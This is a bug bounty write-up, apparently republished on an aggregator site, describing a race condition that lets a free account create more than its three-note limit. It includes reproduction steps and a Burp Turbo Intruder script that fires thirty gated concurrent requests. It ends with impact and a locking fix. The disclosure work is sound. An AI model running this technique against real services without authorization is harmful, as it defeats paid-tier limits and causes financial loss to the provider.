Bypassing a Creation Limit on Free Accounts: A Race Condition Vulnerability in Bug Bounty Program

1 year ago 98

BOOK THIS SPACE FOR AD

ARTICLE AD

The following vulnerability was reported in a self-hosted bug bounty program. The program reported that it was a duplicate. I find it interesting to share this finding with the community due to the interesting attack. It is quite common to find limitations due to trial periods or free accounts.

It is important to mention that in this write-up, a “notes” application is mentioned, although that was not exactly the company’s business, but a generic write-up was made in order to protect confidentiality.

A race condition vulnerability occurs when multiple processes or threads are trying to access or modify the same resource at the same time, and the outcome of the program depends on the order in which these processes are executed. In a race condition, if an attacker can control the order of execution, they may be able to exploit the vulnerability to gain unauthorized access or perform unintended actions. This vulnerability can occur in software systems that do not properly handle synchronization or locking mechanisms, which can lead to unexpected behavior or security issues.

A race condition vulnerability was discovered in the redacted.com in the “notes” creation process of that allows a user to create more than the intended limit of 3 active “notes” on a free account.

Login with a free user accountNavigate to the “notes” creation page and start creating a new note.Create 2 notesObserve that the user isn’t able to create more than 3 active notes on a free account.Send the Request to create a “note” to the “Burp Turbo Intruder” tool.

Create the following script:

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=100,
pipeline=False
)
for i in range(30):
engine.queue(target.req, target.baseInput, gate='race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)

6. Start the attack

7. Now you can browse all new “Notes” and change the names and the templates.

The results were very good, very few HTTP 403 status were obtained, while all 200 codes indicated the correct creation of the note.

Expected behavior: A free account should only be able to create a maximum of 3 active “notes”.

Observed behavior: A user is able to create more than the intended limit of 3 active notes on a free account by exploiting the race condition vulnerability in the notes creation process.

This vulnerability allows a user to bypass the intended limitations of a free account and gain access to additional features without upgrading to a paid account. This could lead to financial loss for the company.

To fix this vulnerability, the company should implement proper synchronization and locking mechanisms in the notes creation process to ensure that only one note creation request can be processed at a time per account. This will prevent race conditions and ensure that the intended limitations of a free account are enforced.

Read Entire Article